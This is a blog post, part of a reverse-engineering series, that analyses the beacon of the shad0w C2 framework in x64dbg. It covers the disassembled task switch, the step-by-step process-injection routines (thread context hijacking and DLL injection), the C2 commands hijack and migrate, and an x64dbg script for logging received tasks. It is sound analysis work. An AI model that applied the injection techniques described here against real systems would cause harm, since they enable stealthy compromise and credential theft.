Reversing the shad0w framework part 3

2020-07-08

In the time of me writing this post, the author of the shad0w framework added some more features and ways to inject its modules, and execute code. This is actually quite nice since the list with commands and modules was expanded, which in turn made this third part a lot more interesting to work on than two weeks ago.

In the previous part we looked at the way that the beacon receives its tasks, and automated the way we can read those tasks using x64dbg. In this part we will take this one step further by also looking at the actual modules being executed, and in the case of the Stdlib function even read out the commands.

Executing C2 commands

Before executing anything, the beacon checks the value of the task key. The following values and their procedures are described in the beacon.c file (https://github.com/bats3c/shad0w/blob/e453ac319c8f4af8b47eabd3cebd3cf20f4dbdff/beacon/src/beacon.c#L85)

So how do we find these routines? The main function in beacon.c is a good starting point to at least know which hex values line up with the kind of commands are going to be executed. This will also play a role later in this research process. We can find this switch statement in the disassembly view by looking for some of the strings that are defined in the main function of beacon.c like the URI buffer format string (https://github.com/bats3c/shad0w/blob/846546da9af81450f6bfb1ea0a5bf042d83c767a/beacon/src/beacon.c#L67):

lea rdx,qword ptr ds:[84C3E20]                             | "username=%s&domain=%s&machine=%s&arch=%s&os=%s&secure=%s"
mov rcx,rax                                                |
call <JMP.&amp;sprintf>                                    |
jmp 84B4E5A                                                |

When we scroll down a little bit further in the disassembly view , we can observe the start of the while loop that is present in the main function. Starting with the C2 callback call, this will store the received buffer in [RBP+1864]:

lea rax,qword ptr ss:[rbp+1864]                            |
mov dword ptr ss:[rsp+30],0                                | NULL
mov dword ptr ss:[rsp+28],0                                | NULL
mov qword ptr ss:[rsp+20],0                                | NULL
mov r9,rax                                                 | &amp;OpCode
lea r8,qword ptr ds:[84C3E70]                              | _CALLBACK_USER_AGENT
mov edx,1BB                                                | _C2_CALLBACK_PORT
lea rcx,qword ptr ds:[84C3F58]                             | _C2_CALLBACK_ADDRESS
call <BeaconCallbackC2>                                    |
mov qword ptr ss:[rbp+1868],rax                            |
mov eax,dword ptr ss:[rbp+1864]                            |

After the beacon has communicated with the C2, and received some data, it will continue checking the OpCode value:

lea rax,qword ptr ss:[rbp+1864]                     | Buffer variable
mov dword ptr ss:[rsp+30],0                         | NULL
mov dword ptr ss:[rsp+28],0                         | NULL
mov qword ptr ss:[rsp+20],0                         | NULL
mov r9,rax                                          | &amp;OpCode
lea r8,qword ptr ds:[8223BF0]                       | _CALLBACK_USER_AGENT
mov edx,1BB                                         | _C2_CALLBACK_PORT
lea rcx,qword ptr ds:[8223CD8]                      | _C2_CALLBACK_ADDRESS
call <BeaconCallbackC2>                             |
mov qword ptr ss:[rbp+1868],rax                     | Buffer = [RBP+1868]
mov eax,dword ptr ss:[rbp+1864]                     |
cmp eax,6000                                        | Check if task == 0x6000 (die)
je 8214502                                          |
cmp eax,6000                                        |
ja 82144E1                                          |
cmp eax,5000                                        | Check if task == 0x5000 (InjectExecuteDll)
je 82144CB                                          |
cmp eax,5000                                        |
ja 82144E1                                          |
cmp eax,4000                                        | Check if task == 0x4000 (stdlib)
je 82144B4                                          |
cmp eax,4000                                        |
ja 82144E1                                          |
cmp eax,3000                                        | Check if task == 0x3000 (SpawnExecuteCode)
je 821449D                                          |
cmp eax,3000                                        |
ja 82144E1                                          |
cmp eax,1000                                        | Check if task == 0x1000 (sleep)
je 821447A                                          |
cmp eax,2000                                        | Check if task == 0x2000 (InjectExecuteCode)
je 8214486                                          |
jmp 82144E1                                         |
mov dword ptr ss:[rbp+187C],1                       |
jmp 82144E1                                         |
mov rax,qword ptr ss:[rbp+1868]                     |
mov rcx,rax                                         |
call <InjectExecuteCode>                            |
mov dword ptr ss:[rbp+187C],eax                     |
jmp 82144E1                                         |
mov rax,qword ptr ss:[rbp+1868]                     |
mov rcx,rax                                         |
call <SpawnExecuteCode>                             |
mov dword ptr ss:[rbp+187C],eax                     |
jmp 82144E1                                         |
mov rax,qword ptr ss:[rbp+1868]                     |
mov rcx,rax                                         |
call <Stdlib>                                       |
mov dword ptr ss:[rbp+187C],eax                     |
jmp 82144E1                                         |
mov rax,qword ptr ss:[rbp+1868]                     |
mov rcx,rax                                         |
call <InjectExecuteDll>                             |
mov dword ptr ss:[rbp+187C],eax                     |
nop                                                 |
cmp dword ptr ss:[rbp+187C],0                       |
jne 82144EF                                         |
call <DieCleanly>                                   |
mov ecx,3E8                                         |
mov rax,qword ptr ds:[<&amp;Sleep>]                 |
call rax                                            |
jmp 82143D6                                         | Continue execution at start of the while loop (BeaconCallBackC2)

This execution routine is important it will help us further down the road.

Case 0x2000 – Execute Modules

To test this module, we can execute the hijack command in the C2 panel. For the purposes of this test I have spawned a new explorer.exe process with PID 4772, and executed:

hijack -p 4772 -f /root/shad0w/shellcode.bin

My shellcode.bin is actually an empty file, but for the purposes of this test this doesn’t really matter. I’m going to take a little bit of the easy route by simply placing a breakpoint on the debug statement of the InjectCode function (https://github.com/bats3c/shad0w/blob/e453ac319c8f4af8b47eabd3cebd3cf20f4dbdff/beacon/src/loader.c#L295):

mov r8d,edx                                                | edx:"InjectCode (0) -> 4772"
mov rdx,rax                                                | rdx:"InjectCode (0) -> 4772"
lea rcx,qword ptr ds:[8213F20]                             | 0000000008213F20:"InjectCode (%d) -> %d"
call <DEBUG>                                               |
mov qword ptr ss:[rbp+4A8],0                               |

For the insecure beacon this is a fairly straight forward code injection , it uses the following routine:

  • Get a handle on the process using OpenProcess;

  • Allocate memory in this process with VirtualAllocEx, and write the code (contents of shellcode.bin) into the allocated memory;

  • Find a thread in the process using GetThread and suspend this thread using SuspendThread;

  • Get the current context of the thread that was suspended by using the handle from GetThread with GetThreadContext;

  • Set the address of the Instruction Pointer (RIP) to the address of the buffer (shellcode.bin);

Start executing the thread again with ResumeThread;

The above routine can be found in the disassembly of x64dbg by breaking on the debug statement.

Case 0x3000 – SpawnExecuteCode

When the OpCode matches 0x3000, the execution of user code routine is being followed . The whoami command is one of the commands that has the 0x3000 OpCode. When the switch statement is executed , and the buffer is given as an argument to the SpawnExecuteCode function it will still be a base64 blob which it received with the BeaconCallBackC2 function.

The SpawnCode function (https://github.com/bats3c/shad0w/blob/e453ac319c8f4af8b47eabd3cebd3cf20f4dbdff/beacon/src/loader.c#L127) is part of the loader.c file on Github which sort of displays what kind of routine this is going to be. The beacon uses this loader function to spawn a new svchost.exe process, and then inject the code that needs to be executed into this process.

In this SpawnCode function we can see that a named pipe is used to read the stdout of the newly created process, as this is also one of the arguments that is used for the newly created thread (https://github.com/bats3c/shad0w/blob/e453ac319c8f4af8b47eabd3cebd3cf20f4dbdff/beacon/src/loader.c#L203).

We will dive into this to read out the results. One thing to note about this ReadFromPipe function is that is using the ReadFile API to read out the value of MAX_OUTPUT bytes which has been set to 1000 as its default value, this means that this will run a couple times if a large output is given back (with Mimikatz for example).

Reading SpawnExecuteCode results

Getting result output from commands and/or code that is being run in another process can be quite tricky. You could pray that it ran successfully, but this won’t help you much if you want to actually use the information that is given back to you when you want those juicy hashes dumped by Mimikatz.

To get around this problem the author makes use of named pipes. I won’t go into what named pipes are, or how they work for that matter, all you need to know is that you can read them like you would with a file. The named pipe in this case is used to read out the buffer that is returned from the svchost.exe process which is spawned to execute the code, to read this buffer the ReadFile API is used.

The ReadFromPipe function can be spotted in the disassembly views of x64bg while in the SpawnExecuteCode routine:

mov qword ptr ss:[rsp+28],rax                              | &amp;threadId
mov dword ptr ss:[rsp+20],0                                | 0
mov r9,rdx                                                 | g_hChildStd_OUT_Rd
lea r8,qword ptr ds:[<ReadFromPipe>]                       | ReadFromPipe
mov edx,0                                                  | 0
mov ecx,0                                                  | NULL
mov rax,qword ptr ds:[<&amp;CreateThread>]                 | Move address of CreateThread in RAX
call rax                                                   |

NOTE: I have placed comments next to each of the instructions to make it clear which parameters are used to call the CreateThread API (https://github.com/bats3c/shad0w/blob/e453ac319c8f4af8b47eabd3cebd3cf20f4dbdff/beacon/src/loader.c#L203).

If we look at this function in the disassembly view we can match the arguments passed to the ReadFile API call:

mov qword ptr ss:[rsp+20],0                                | NULL
mov r9,rdx                                                 | &amp;dwRead
mov r8d,3E8                                                | MAX_OUTPUT (3E8 == 1000)
mov rdx,rax                                                | chBuf
mov rcx,qword ptr ss:[rbp+3D0]                             | g_hChildStd_OUT_Rd
mov rax,qword ptr ds:[<&amp;ReadFile>]                     |
call rax                                                   |

If we run the whoami command in the C2 console while having a breakpoint set at the chBuf parameter, follow the address RDX is pointing to in memory, and run until the return of the ReadFile API call, we’ll see the results of the executed module in the memory dump:

64 65 73 6B 74 6F 70 2D 62 67 64 74 34 36 72 5C desktop-bgdt46r\ 6D 61 6E 64 79 00 00 00 00 00 00 00 00 00 00 00 mandy...........

Case 0x4000 – Stdlib

When executing a command that is part of the Stdlib value in the Github code, we will observe indeed that it will jump to the Stdlib call while debugging. The Stdlib function is part of the core.c file on Github (https://github.com/bats3c/shad0w/blob/e453ac319c8f4af8b47eabd3cebd3cf20f4dbdff/beacon/src/core.c#L572).

We can observe the following hex values being used for the different modules:

  • 0x1000 -> listdirs

  • 0x2000 -> readfile

  • 0x3000 -> getdir

  • 0x4000 -> removefile

  • 0x5000 -> makedirectory

  • 0x6000 -> changedir

  • 0x7000 -> getpid

When looking at the Stdlib execution routine in the disassembly view we can correlate this with the C++ code on the Github page:

mov qword ptr ss:[rbp+10],rcx                              | 
mov qword ptr ss:[rbp-8],0                                 |
mov rcx,qword ptr ss:[rbp+10]                              | 
call <json_tokener_parse>                                  |
mov qword ptr ss:[rbp-10],rax                              |
mov rax,qword ptr ss:[rbp-10]                              |
lea rdx,qword ptr ds:[84C3D0C]                             | 
mov rcx,rax                                                | 
call <json_object_object_get>                              |
mov qword ptr ss:[rbp-10],rax                              |
mov rax,qword ptr ss:[rbp-10]                              |
mov rcx,rax                                                | 
call <json_object_get_int>                                 |
mov dword ptr ss:[rbp-14],eax                              | Move the OpCode into [RBP-14]
mov rcx,qword ptr ss:[rbp+10]                              | 
call <json_tokener_parse>                                  |
mov qword ptr ss:[rbp-10],rax                              |
mov rax,qword ptr ss:[rbp-10]                              |
lea rdx,qword ptr ds:[84C3CF1]                             | 
mov rcx,rax                                                | 
call <json_object_object_get>                              |
mov qword ptr ss:[rbp-10],rax                              |
mov rax,qword ptr ss:[rbp-10]                              |
mov rcx,rax                                                | 
call <json_object_get_string>                              |

I placed a comment behind the instruction of note; the RBP-14 address holds the OpCode (exec_id) which is being checked in the following routine:

mov qword ptr ss:[rbp-20],rax                              |
cmp dword ptr ss:[rbp-14],8000                             | Check if op == 0x8000 -> break
je 8204238                                                 |
cmp dword ptr ss:[rbp-14],8000                             |
jg 8204239                                                 |
cmp dword ptr ss:[rbp-14],7000                             | Check if op == 0x7000 -> getpid
je 820422B                                                 |
cmp dword ptr ss:[rbp-14],7000                             |
jg 8204239                                                 |
cmp dword ptr ss:[rbp-14],6000                             | Check if op == 0x6000 -> changedir
je 8204219                                                 |
cmp dword ptr ss:[rbp-14],6000                             |
jg 8204239                                                 |
cmp dword ptr ss:[rbp-14],5000                             | Check if op == 0x5000 -> makedirectory
je 8204207                                                 |
cmp dword ptr ss:[rbp-14],5000                             |
jg 8204239                                                 |
cmp dword ptr ss:[rbp-14],4000                             | Check if op == 0x4000 -> removefile
je 82041F5                                                 |
cmp dword ptr ss:[rbp-14],4000                             |
jg 8204239                                                 |
cmp dword ptr ss:[rbp-14],3000                             | Check if op == 0x3000 -> getdir
je 82041EA                                                 |
cmp dword ptr ss:[rbp-14],3000                             |
jg 8204239                                                 |
cmp dword ptr ss:[rbp-14],1000                             | Check if op == 0x1000 -> listdirs
je 82041C6                                                 |
cmp dword ptr ss:[rbp-14],2000                             | Check if op == 0x2000 -> readfile
je 82041D8                                                 |

As an example I executed the pwd directory which corresponds with 0x3000, or getdir, this command takes no arguments and is thus fairly plain. This command is described in the getdir.c file on Github (https://github.com/bats3c/shad0w/blob/2e4232a3ab95130c5c1bb6dbbbc8ee268161c049/beacon/lib/stdlib/getdir.c) which uses Windows API calls to retrieve the current working directory , it then returns the output of this command in RAX upon returning.

After executing either of the above routines in the switch statement, the execution will continue to set everything up for the call to the BeaconCallbackC2 routine:

lea rdx,qword ptr ss:[rbp-24]                              |
mov dword ptr ss:[rsp+30],eax                              | strlen(data)
mov dword ptr ss:[rsp+28],4000                             | DO_CALLBACK (0x4000)
mov rax,qword ptr ss:[rbp-8]                               | [rbp-8]:"C:\\Users\\Mandy\\Desktop"
mov qword ptr ss:[rsp+20],rax                              | data
mov r9,rdx                                                 | &amp;rOpCode
lea r8,qword ptr ds:[<C2_USER_AGENT>]                      | _CALLBACK_USER_AGENT
mov edx,1BB                                                | _C2_CALLBACK_PORT
lea rcx,qword ptr ds:[<C2_ADDRESS>]                        | _C2_CALLBACK_ADDRESS
call <BeaconCallbackC2>                                    |

The DO_CALLBACK has hex value 0x4000, this can be observed in the helper file on Github: https://github.com/bats3c/shad0w/blob/1e51e7b3585242cf7ccd84addc6eca2c84ce03cb/beacon/src/core.h#L11

Case 0x5000 – InjectExecuteDll

This module can be triggered when executing the migrate command in the C2. For the purpose of this check I spawned a new explorer .exe process and executed the migrate -p 4772 command.

This routine can be found by looking for string references to:

"InjectDLL (%d) -> %d"

If we set a breakpoint right before the call to DEBUG, we can observe the PID that was given as an argument in the C2 console:

mov r8d,edx                                                | r8d:"b\f", edx:"InjectDLL (1032168) -> 4772"
mov rdx,rax                                                | rdx:"InjectDLL (1032168) -> 4772"
lea rcx,qword ptr ds:[8223F4A]                             | 0000000008223F4A:"InjectDLL (%d) -> %d"
call <DEBUG>                                               |
mov qword ptr ss:[rbp+4C8],0                               |

When you run the beacon in insecure mode , the insecure method of process injection will be carried out;

  • Get a handle on the process which was chosen with OpenProcess

  • Allocate process memory with VirtualAllocEx;

  • Write the DLL into the process memory that was allocated with VirtualAllocEx, using WriteProcessMemory;

  • Suspend the thread in the target process with GetThread and SuspendThread;

  • Store the current context of the thread in the target process with GetThreadContext, using the handle on the thread that was received with GetThread;

  • Write the thread context into a code cave using VirtualAllocEx and WriteProcessMemory;

  • Set up a new thread context;

  • Write the remote thread context to a code cave using WriteProcessMemory;

  • Create 0x2000 bytes of stack;

  • Write the updated thread context with SetThreadContext

  • Resume the thread using ResumeThread;

The above routine can be found in the disassembly view when breaking on the debug string mentioned above.

Reading out the received commands, automagically

No blogpost would be complete without some sort of automation. The above information can be used to automate the reading of the received tasks, and in case of the Stdlib function, even read out the received commands.

The following script, while not being perfect, illustrates the automated fashion to ‘spy’ on the beacon itself. This was a fun exercise for pushing me looking up x64dbg script commands, and overall tinkering;

// Initial message
msg "OEP find for shad0w insecure beacon"
msg "Please make sure you are at the entrypoint of the executable before you continue"
pause
 
// Clear breakpoints
bc
bphwc
 
log "Running until entry point of stager"
 
// Set a breakpoint at VirtualAlloc and run until the beacon is 
// written into memory
log "Setting breakpoint at VirtualAlloc"
bp VirtualAlloc
log "Running until stager has finished"
 
// Keep count how many times we hit VirtualAlloc
$runcount = 0
goto virtualalloc_routine
 
// Loop until VirtualAlloc has been hit 6 times
virtualalloc_routine:
erun
rtr
sti
$runcount++
cmp $runcount,6
jb virtualalloc_routine
 
// Look for the pattern call RBP
find cip,"FF D5 33 D2"
cmp $result,0
jz error
 
// Set a breakpoint on the call to RBP and step into the function
log "Found call rbp pattern at [{0}]",$result
bp $result
erun
sti
log "Reached entrypoint of beacon!"
 
// Find the routine checking the task value
find cip,"3D 00 60 00 00"
bp $result
 
goto read_tasks
 
read_tasks:
erun
$task = EAX
cmp $task,6000
je killbeacon_task
cmp $task,5000
je injectexecutedll_task
cmp $task,4000
je stdlib_task
cmp $task,3000
je spawnexecutecode_task
cmp $task,2000
je injectexecutecode_task
cmp $task,1000
je sleep_task
 
killbeacon_task:
log "Received task to die: [{EAX}]"
bc
bphwc
msg "Beacon received kill task"
ret
 
injectexecutedll_task:
log "Received InjectExecuteDLL task: [{EAX}]"
jmp read_tasks
 
stdlib_task:
log "Received Stdlib task: [{EAX}]"
// Find the routine for the stdlib exec_id
find cip, "E8 E0 FB FF FF"
bp $result
erun
sti
find cip, "81 7D EC 00 80 00 00"
bp $result
erun
 
// [rbp-14] holds the exec_id value
$exec_id = dword(rbp-14)
 
cmp $exec_id,8000
je stdlib_break
 
cmp $exec_id,7000
je stdlib_getpid
 
cmp $exec_id,6000
je stdlib_changedir
 
cmp $exec_id,5000
je stdlib_makedir
 
cmp $exec_id,4000
je stdlib_rmfile
 
cmp $exec_id,3000
je stdlib_getdir
 
cmp $exec_id,2000
je stdlib_readfile
 
cmp $exec_id,1000
je stdlib_listdirs
 
jmp read_tasks
 
spawnexecutecode_task:
log "Received SpawnExecuteCode task: [{EAX}]"
jmp read_tasks
 
injectexecutecode_task:
log "Received InjectExecuteCode task: [{EAX}]"
jmp read_tasks
 
sleep_task:
log "Received Sleep task: [{EAX}]"
jmp read_tasks
 
stdlib_break:
log "Stdlib Break: [{$exec_id}]"
jmp read_tasks
 
stdlib_getpid:
log "Stdlib getpid(): [{$exec_id}]"
jmp read_tasks
 
stdlib_changedir:
log "Stdlib changedir(): [{$exec_id}]"
jmp read_tasks
 
stdlib_makedir:
log "Stdlib makedirectory(): [{$exec_id}]"
jmp read_tasks
 
stdlib_rmfile:
log "Stdlib removefile(): [{$exec_id}]"
jmp read_tasks
 
stdlib_getdir:
log "Stdlib getdir(): [{$exec_id}]"
jmp read_tasks
 
stdlib_readfile:
log "Stdlib readfile(): [{$exec_id}]"
jmp read_tasks
 
stdlib_listdirs:
log "Stdlib listdirs(): [{$exec_id}]"
jmp read_tasks
 
error:
msg "Could not find call rbp pattern!"
bc
bphwc
ret

And an example image of the beacon receiving the SpawnExecuteCode OpCode:

Conclusion

In this part of the shad0w framework reverse engineering series we have looked at the way that the beacon executes its commands, and even dived into some of these routines.

It’s a fun exercise to reverse engineer open source projects and I definitely learned a lot while doing this. Having the source code at your disposal so you can check/verify some things when you get stuck really helps when you’re just starting out reverse engineering.

Last updated